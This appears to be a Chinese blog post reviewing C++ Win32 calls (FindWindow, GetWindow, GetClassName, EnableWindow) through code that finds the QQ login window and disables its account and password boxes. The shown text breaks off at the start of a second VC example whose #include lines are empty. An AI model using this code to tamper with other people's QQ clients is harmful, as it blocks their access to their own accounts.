从屏蔽QQ登录输入框温习几个c++函数

从屏蔽QQ登录输入框温习几个c++函数先看c++ builder的代码：void__fastcall TForm1::FormCreate(TObject*Sender){HWND hCurWindow,HC,HE;//定义三个窗口句柄变量，hCurWindow用于存放QQ用户登录窗口的句柄，HC,HE分别存放号码框和密码框的句柄if((hCurWindow=FindWindow(Null,"QQ用户登录"))!=0){//调用FindWindow()函数去获得QQ登录窗口的句柄 string str; str.sprintf("0x%x",hCurWindow);}TCHAR wClassName[255];//类名变量HC=GetWindow(hCurWindow,GW_CHILD);//得到号码框的句柄HE=GetWindow(HC,GW_HWNDNEXT);//得到密码框的句柄GetClassName(HE,wClassName,sizeof(wClassName));//得到类名GetClassName(HC,wClassName,sizeof(wClassName));//得到类名EnableWindow(HE,false);//使窗口失效EnableWindow(HC,false);//使窗口失效EnableWindow()是个关键的函数，前面是为这个函数做铺垫的，关键是要获得框的句柄，如果FindWindow()和GetWindow()其中一个函数被HOOK的话，那么屏蔽输入框就没有效果了。这几个函数在VC里面同样可以用。FindWindow()函数有一个特性：一次只运行一个程序实例，如果已运行则退出。代码例：if( FindWindow(NULL,"程序标题")) exit(0);------------------------------------------------------------------------------------------------------------------------------再列出VC利用这个函数的实例，也是针对QQ的，代码如下：#include #include #include "resource.h"HBITMAP g_pBitmap;
